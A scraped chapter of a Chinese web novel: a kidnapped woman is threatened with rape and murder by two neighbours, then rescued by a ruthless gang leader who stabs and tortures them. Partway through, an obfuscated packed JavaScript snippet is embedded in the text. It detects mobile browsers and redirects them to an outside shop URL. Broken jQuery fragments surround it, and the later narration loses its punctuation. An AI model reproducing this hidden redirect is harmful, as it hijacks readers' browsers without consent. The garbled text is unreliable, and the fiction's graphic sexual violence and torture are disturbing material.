17. 羞涩 把她护得极好(万字肥章)……
    林爱云抿了抿唇,思考片刻,还是决定跟对方好好套套近乎,毕竟是小孩子,应该不难哄骗,要是能让他帮忙取掉口中塞的破布,也可以呼救试试。

    想到这儿,她开始尝试发出声音,只是嘴里塞着破布,无论说的什么,都是“呜呜呜”的嘈杂声,别说小男孩了,就连她自己都听不清说的是什么。

    “……”

    果不其然,小男孩只是掀起眼皮瞧了她一眼,就挪开了视线,重新迈步回到了刚才他坐的位置上,继续摆弄他的弹弓和小石头。

    林爱云没有放弃,又含糊不清地说了一大堆,可是都遭到了无视,见此,她有些泄气,但同时也察觉到自己身上的力气在慢慢恢复,她索性也不浪费口舌了,开始偷偷用眼神搜索附近有没有可以帮忙逃脱的工具。

    但是明显绑她来这儿的人不是傻子,周围都被清理过,什么尖锐物品都没有,不给她留一丁点儿可以割断绳子的机会。

    时间一分一秒流逝,望着越变越暗的光线,林爱云知道天要黑了,月黑风高杀人夜,等会儿到底会发生什么,谁也不知道,但左右不是什么好事。

    处于这样的环境下,难免胡思乱想,林爱云心慌得厉害,但目前能做的也只有祈祷惠姨在发现她失踪后,能立马跑去报警。

    不知道过了多久,阳光变成月光,门被人从外面砰得一声打开,林爱云猛地睁开眼,循着声音望过去,想要看看到底是谁。

    在煤油灯的照耀下,她看见了一张完全意想不到的脸。

    微弱的暖黄色灯光包裹住全身,一下子世界仿佛只剩下窒息的静谧,压得人喘不过气来。

    那人刚一出现,原本还乖乖坐在地上的小男孩就爬了起来,两步跑上台阶,抱住对方的腿,嘴甜地喊道:“娘。”

    “锅里给你留了饭,你上去吃完后带着妹妹睡觉,我和你爹有事要办,不许再下来。”

    烛火闪动,将她的脸照得越发清晰,赫然是住在丁家对面的苏小妹。

    她的话音刚落,林爱云视线挪动,这才看见在苏小妹的身后还站着一道身影,脸隐藏在黑暗中,但是目测比苏小妹高许多,头顶都快挨到门框了,黑衣黑裤,看上去不是很壮实。

    可是林爱云知道,这人肌肉发达,力气大得惊人,之前就

    是他把自己拖进巷子里的。

    只是,爹?苏小妹的丈夫不是在西北工作,好几年没回来过了吗?那这个男人是谁?

    “好。”小男孩转过头看了一眼林爱云,便绕过两人直直往楼上跑去,鞋踩在木板上发出咯吱咯吱的响声。

    这会儿,林爱云才知道自己为什么会觉得小男孩眼熟了,因为他跟苏小妹的眉眼简直就是从一个模子刻出来的。

    随着小男孩的脚步声越来越远,林爱云一颗心也渐渐提了起来,无法动弹的她只能眼睁睁看着苏小妹领着那个男人一步步往自己所在的方向走来。

    地下室里明明有个人在,却安静得针落可闻,林爱云清晰地感觉到自己的呼吸不受控制地变重,被捆住的掌心满是热汗。

    “哟,醒了。”男人一开口,林爱云便认出他就是在菜市迷晕自己的人,同时她不敢置信于为什么一个人会拥有两种不同风格的声音。

    如果说之前见面的时候,他的声音如涓涓细流般温柔,那么现在的声音就如雷声滚滚般沉闷。

    苏小妹和牛文山居然是一伙的,而且听那个小孩儿对牛文山的称呼,显然两人的关系不一般。

    “是不是很惊讶是我?”牛文山喉间溢出阵阵低笑,歪头看着她越来越惨白的脸色,“毕竟你还专门找去了厂里,哈哈哈,但很可惜,平时监视你的人是她,不是我。”

    言外之意便是他该上班的时候确实在上班,而苏小妹一个没有工作的家庭主妇则代替他监视林爱云,这样不会引起旁人任何怀疑。

    两个平时看起来八竿子打不着的人,论谁也不会把他们联系到一块儿。

    牛文山蹲下身来,伸出手捏住林爱云的下巴,那是一双常年干重活才会拥有的手,指尖带着厚厚的一层茧子,落在皮肤上压得生疼,她下意识地扭头狠狠躲开他的手,一双眼睛瞪得老大,表达自己愤怒的情绪。

    “快点儿,说好的就今天晚上。”苏小妹见牛文山碰上林爱云,额上青筋一跳,眸中闪过一丝烦躁和嫉妒,语气也带上了一丝急切。

    闻言,牛文山不满地啧了一声,骂道:“他妈的,老子知道,催什么催,这不是才刚开始嘛。”

    要不是白天为了掩人耳目,不得不回厂里上班,他早就得手了。

    他的话

    才刚刚落下,林爱云就感受到身子一轻,竟是被眼前的男人一把给提溜了起来,毫不费力,她背靠在墙壁上,才刚坐稳,就看到他居然开始脱起了身上的衣服。

    竟是半分废话都不打算说,直奔主题。

    林爱云害怕极了,挣扎着往旁边跑去,或许是知道她行动有限,怎么折腾也逃不出他们的手掌心,牛文山和苏小妹都没有管她,甚至前者还笑着欣赏她的狼狈和绝望。

    阴森中带着明晃晃嘲讽的笑声回荡在耳边,催命符似的惹人控制不住地发抖。

    看着自己拼尽全力也只爬出去两臂宽的距离,林爱云不禁红了眼眶,而身后牛文山已经脱得只剩下一条短裤,她握紧掌心,手腕和脚踝被绳索摩擦出的伤痕隐隐作痛,她却不敢放松分毫,抓住机会在对方凑过来抓她的瞬间,用力一掷。

    “操。”牛文山痛呼出声。

    见状,在一旁环胸看戏的苏小妹立马跑过来,满脸担忧:“你没事吧?”

    两人忙着清理牛文山眼中的灰尘和残渣,没有注意到林爱云悄无声息靠近了苏小妹,并快准狠地拿头狠狠撞了一下对方的腿窝,下意识地她手中一松,煤油灯砸落在地上,发出闷响,滚烫的煤油也随之洒了他们一身。

    牛文山穿的少,遭殃的也更多。

    混乱中,林爱云摸到了煤油灯碎片,上面犹带滚烫,她却不敢松手,拿到手的瞬间,便开始尝试割开手腕上的绳索,只是他们用了极粗的麻绳,又绑得很紧,一时半会儿根本割不断。

    “臭婊*子,活腻歪了。”苏小妹最先回过神,顾不上身上的灼烧感,二话没说,在一片黑暗中抓住了林爱云的小腿,长长的指甲泄愤般在上面抓出道道红痕,后者疼得皱眉,摆动身体,试图逃脱掉她的束缚,可是这显然不可能。

    顺着小腿往上,苏小妹毫不客气地踩上她的小腹,一下又一下。

    林爱云忍着难耐的疼痛,手中的动作不敢停,也不敢反抗,怕引起对方更加疯狂的报复。

    “妈的,就是□□,给老子过来,不办得你叫爹,名字倒过来写。”牛文山推开苏小妹,径直压了过来,高瘦的身躯才刚刚碰上林爱云,头顶上却传来重重的脚步声。

    那绝对不是两个小孩子能发出来的声音。

    林爱云率先反

    应过来,嘴里发出撕心裂肺的呜咽声,她来不及去猜测楼上的是谁,是不是苏小妹和牛文山的同伙,她只是不想放过任何一个可以求助的机会。

    但是另外两个人也不是死人,牛文山几乎是立马就反应了过来,伸出手捂住了她的口鼻,顿时一股窒息感迎面而来,并且力道还有加重的趋势,林爱云瞪大眼睛,手中的碎片在呼吸困难间即将握不住。

    可是这是她唯一的筹码,就算掌心被划破,她也要牢牢握在手中。

    “她要死了。

    “死就死了,死在这里的人还少吗?明天拖出去直接烧了就是。牛文山压低声音吼道,混浊的眼睛死死盯着天花板,现在最让他在意的是楼上的动静到底是谁发出的。

    是错觉?还是真的有人?

    据他所知,苏小妹可没有什么相交甚好到可以随意进出这里的朋友,那么……

    思及此,牛文山危险地眯起了眼睛。

    听见这话,苏小妹握紧了手,这可不是牛文山的风格,万一人死了,他没玩尽兴,到时候遭殃的还不是她?

    想到这儿,苏小妹出手扯了一把林爱云,让她得到了一丝喘息的空隙,后者凭借本能,往后用力仰着脖子,抵抗着牛文山的力道,她还不想死,好不容易重来一次,她也不能就这么死了。

    不多时楼上原本已经停下来的动静突然变得越来越大,似乎人还不少,不知道他们在找什么,一直在屋里打转,苏小妹心中不住地打鼓,忍不住害怕道:“怎么办?会不会是事情暴露,警察找过来了?

    就算平时胆子再大,可是这会儿声线也忍不住微微颤抖。

    “孩子还在上面呢,我得上去……苏小妹说完就想往地下室的入口走,但是没往前迈出两步,又蓦地停下,转而躲在了牛文山身后,抖成了筛子。

    牛文山毫不意外苏小妹的选择,唇边勾起一抹冷笑,但他此刻没有闲心去出声嘲讽,所有的精力都集中在了头顶上方,叮叮咚咚的声音逐渐远去,像是来人没有发现异常,转移了阵地。

    安静了许久,苏小妹才哆哆嗦嗦地开口:“走,走了?

    牛文山没有回答,垂下头看了眼许久没有挣扎的林爱云,掌心中已没了温热的呼吸,光

    线昏暗,只有缕缕月色能让人勉强看清个大概的轮廓,以至于他现在也不知道对方是死是活。

    犹豫片刻,他尝试性地松开手,对方便犹如一片羽毛轻飘飘地倒在地上,见状,牛文山可惜地咬了咬牙,这娘们他盯了那么多天,废了老大功夫才弄回来,结果连点儿荤腥都没尝过就这么死了。

    “我们要出去吗?见牛文山没有理自己,苏小妹以为他是没听见,于是壮着胆子伸出手拉了拉他的胳膊,又加大音量问了一句。

    “闭嘴。黑暗中,牛文山眼中闪着阴鸷的光,不耐烦地掐住了苏小妹的脖子,这个蠢婆娘真是关键时候掉链子,万一那些人没有走远,听到了她的声音,又掉头回来怎么办?

    这个地下室的出入口只有一个,那到时候就真成了瓮中被捉的王八了。

    “出去送死吗?门口还算隐蔽,一时半会儿不会有人发现……

    零散的石块噼里啪啦散落一地,激起的尘土溅了满头满脸,同时一道刺眼的灯光照射进来,肮脏的黑暗影遁无形,宛如白昼。

    紧接着,四五个大汉从被破开的洞口依次跳下来,手中拿着的家伙令人不寒而栗,牛文山和苏小妹哪儿见过这种场面,吓得一口气噎在嗓子眼里,脸色苍白,傻愣在原地不敢随意动弹,没过多久就被对方按着头,摁在地上控制住。

    等场面稳定下来,其中一个男人找到了入口,两下便将门打开,恭敬地垂头退往一边,自觉站在门口等着,很快就有一个高大的身影出现在那儿,身后还跟着两个人。

    似乎是嫌弃里面的脏污,那人皱起眉头,没有要进去的意思,直到视线扫过躺在地上生死不明的女人时,方才迈动了脚步,顺着台阶往下。

    “城哥,还活着。有人正蹲在林爱云身边,伸手探了探她的脉搏和鼻息。

    萧城穿着休闲,虽是最简单的军绿色上衣和黑裤子,但是在他身上却硬生生穿出了一股子贵气感,极其优越的身高和长相,让他即便在这黑压压的一群强壮男人中也不落下风,甚至格外显眼。

    他居高临下地看着,眼神一寸寸掠过她的周身,少女蜷缩在地上,墨发蜿蜒,

    盘在脑后的青丝不知何时散落一地素色的衣衫沾满污垢还有点点血花绽开。

    她拥有着一张精致的小脸皮肤瓷白刚被人解开的胶带和破布扔在地上红唇微微张开呼吸轻弱而艰难。

    手腕脚腕无不被桎梏着由于之前的用力挣扎此刻在强光的照射下印出骇人的青紫一动不动整个人如同垃圾堆里被主人丢弃的洋娃娃泛着惹人心疼的柔弱易碎。

    蓦然

    “萧城?”

    几乎是同时在场的人全都不约而同地看向他们嚯这女人什么来头居然敢直呼老大的大名。

    萧城本人倒不是很诧异毕竟第一次见面的时候她就是这么叫的。

    “带走。”

    “是。”

    周金没有犹豫手中的刀三两下便将困了林爱云那么久的绳索给割断了接着便想单手将人扛到肩膀上只是余光瞥到萧城眉头微挑手中的动作不由放轻改为用双手打横抱起她很瘦抱在怀里一点儿存在感都没有。

    “等等。”萧城突然出声拦住准备往外走的周金后者不解地停下脚步看向他等候下一步的吩咐。

    萧城来到两人跟前视线下移落到某处然后伸出手只是才刚刚触碰到她的指骨便下意识地往后躲了一瞬但是下一秒又主动往他的掌心送了送。

    掰开被血染红的手那里静静躺着一块碎片绞进肉里扯出来的时候耳边随之响起一道抽气声萧城抬眸看向源头她泪眼婆娑用那双水汪汪的大眼睛可怜兮兮地直勾勾盯着他像是在控诉下手没个轻重。

    娇气。

    “手不想要了?”萧城把玩着手里染满血的碎片看着林爱云便觉蠢笨得很这玩意儿割不断绳子也救不了她握在手里除了伤害自己别无他用。

    闻言林爱云摇了摇头正常人谁不想要手但这个碎片对于她来说是绝望深海中唯一的救命稻草一旦握住便不想放手。

    好在最后萧城来了他救了她他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250419|151545||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    永远是那束耀眼的光击碎黑暗。

    萧城

    没有忽略掉林爱云眸中炙热的视线那是一种莫名的极端信任忽地他笑了手中的碎片随之飞出以惊人的速度和力量径直射进牛文山的胸口精准避开了要害可涌出来的鲜血却喷了离他最近的苏小妹一脸。

    漫天的红色吓得她尖叫出声只是才刚喊出来就被人捏住下颌强迫闭了嘴所有的惊恐都咽进了嘴巴里没一会儿空气中蔓延开一股难闻的尿骚味。

    其他人见怪不怪只是拍了拍溅到身上的血便面无表情站在原地似乎是早已习惯了这样的场面出现在自己面前竟能做到毫无波澜。

    林爱云浑身一阵阵冒着凉气害怕地闭紧双眼没一会儿又忍不住睁开去确定牛文山是不是真的死了在得到否定的答案后指甲狠狠掐进手心里不自觉地抬起眼睛看向面前勾起一侧唇角的萧城。

    她是第一次看见萧城伤人虽然一直知道对方一路走过来难免经历打打杀杀可是他从未在她跟前表露分毫也把她护得极好。

    “怕什么?我这是在给你报仇。”萧城眯起眼睛似笑非笑地望着跟前面色变得苍白的林爱云。

    “我没有怕。”林爱云梗着脖子反驳。

    这话却换来了一声冷笑。

    “知道今天会遭遇什么吗?”萧城眼中无波无澜不知道什么时候他已经走到了牛文山身边一边说着一边从对方胸膛里找着那枚碎片陷进血肉里稍微有些难拔他不紧不慢地抬脚踩上他的胸口借力抽了出来。

    林爱云心头一抖随后看着他拿着碎片抵上苏小妹的脸后者被身后的男人揪住头发以便萧城动作竟是半分都动不了处境与她方才别无一二。

    “来你说如果我们没有出现你们会怎么对她?”萧城扬手示意那个男人松开苏小妹。

    好不容易获得了自由苏小妹瞥了一眼杵在脸上的碎片明明只是那么一小块却令她怕得口腔内的牙齿都在不自觉互相撞击发出脆响两眼发黑

    但是听到萧城的问话她又不敢不答也不敢撒谎。

    面前的男人生得俊气看起来年纪比自己还小却偏偏是个喜怒无常的阎罗。

    “牛牛文山会上了她然然后再把她捂死第

    二天拖出去在城外烧了。”苏小妹咽了咽口水老老实实把原本的计划说了出来尽量把话说得简短祈祷着对方听完能大发慈悲放过她。

    萧城拿碎片有一搭没一搭地轻拍着苏小妹的脸轻飘飘指出重点:“这么熟练

    “就这一次……”话音未落就感受到碎片刺进皮肤的痛意苏小妹急忙改口:“这是第次真的真的。”

    说到后面尾音带上了一丝哭腔怕他不相信还重复了好几遍“真的”。

    闻言林爱云眉头紧皱面上闪过悲戚没想到在她之前还有女孩儿遇难这两个人真是坏到骨子里了牛文山……死有余辜。

    “你说这些人该不该死?”

    突然问话抛到了林爱云身上她一怔还没来得及回答就听到苏小妹撕心裂肺的求饶声:“求求你我都是迫不得已是牛文山逼着我干的。”

    “呜呜呜牛文山才该死他就喜欢年轻漂亮的女孩儿特特别是那些从外地过来的就算死了也没有多少人会追究更没有时间和精力细查下去。”

    “要不是我男人不给我寄钱了我怎么可能跟他在一起?我我还有两个孩子要养他们都是无辜的啊你看在孩子的份上救救我呜呜呜。”

    孩子?林爱云犹豫了可是也只是犹豫了一瞬脑海中倏然想起之前苏小妹放弃上楼找回两个孩子选择保全她自己的事情。

    而且她之所以在这儿也是“多亏了”那两个小孩儿!说不准他们以前都是用同样的法子利用女孩的善心来设置陷阱。

    林爱云不是圣母这样的母亲和孩子根本不配她同情。

    “该死。”冷硬的两个字倒让萧城微微仰头看向林爱云灯光照在他好看的脸上勾人极了。

    两人的视线在空中碰撞上目光灼灼好似都想看进彼此的内心最底层去。

    可是林爱云却觉得那是一汪看不见底的深渊明明萧城唇边挂着笑意却令她如坠寒冬陌生得仿佛从未相识过。

    也是这个时候她才惊觉她将事情想得过于简单前世的萧城是经历过千锤百炼于时间长河中沉淀下来的性子是在新华国法规下洗白的“好人”。

    而现在的萧城不屑于伪装自己

    ,性子暴戾恶劣,没有束缚,是彻头彻尾的“坏蛋。

    像是在印证她的想法,下一秒碎片被塞进苏小妹的手里,萧城面无表情地收回手,将血迹随意抹在旁边人的衣服上,缓缓说道:“好好握着,用力点儿,可别让它落地了。

    “好,我握着。苏小妹哪儿敢拒绝,硬着头皮握紧了碎片,没一会儿便疼得龇牙咧嘴,血顺着指缝往下流。

    这个时候,入口处又出现两个男人,一手拎着一个小孩儿直接摔在地上,完全没有所谓“尊老爱幼的意思。

    “城哥,这小屁孩儿还真他妈的恶心,瞧瞧我找到了什么?东子扬了扬手中的东西。

    明晃晃的灯光下,无论什么都无影遁形,看得一清二楚,那居然是一串用人的牙齿做成的手串,上面还用笔画上了涂鸦,一瞧就知道是出自小孩儿之手。

    林爱云只觉得胃里一阵翻涌,干呕了两下,牵动各处的伤,疼得不自觉抽搐,视线开始模糊,渐渐陷入昏迷。

    周金似有所察,抱着她的手收紧了些,垂下头想要看看怎么回事,就被一巴掌扇在了脸上,“杵在这儿干什么?她死了,你也别喘气了。

    听见这话,周金哪还敢耽搁,抱着人就往楼上快步走去。

    “这就是咱要找的妞儿啊?长得还挺漂亮。

    东子嘴上没个把门的,被周金警告性地瞪了一眼方才贱嘻嘻收回视线,只是一抬头差点撞到萧城身上,察觉到不对劲,连忙收敛脸上的笑意,脆生生喊道:“城哥。

    “不处理好,就自己滚去陪江堰,他应该会挺乐意。由于背着光站着,萧城脸上的轮廓显得越发深邃,浑身散发着说不出的随性,但东子却觉得骇人得很。

    “保证干净。东子不自觉挺直腰背,目送萧城消失在拐角处。

    轿车就停在门口,萧城到的时候,周金已经在驾驶座上就位,他习惯性地随手拉开后座的车门,映入眼帘的却是半躺在上面的林爱云,浑身脏兮兮的。

    这个蠢货。

    萧城猛地将车门关上,转而上了副驾驶座位。

    “医生和护士请的都是省院的,等在远扬路了,专业性有保障,城哥你放心。

    他放心什么?关他屁事?不,还是跟他有关系的。

    萧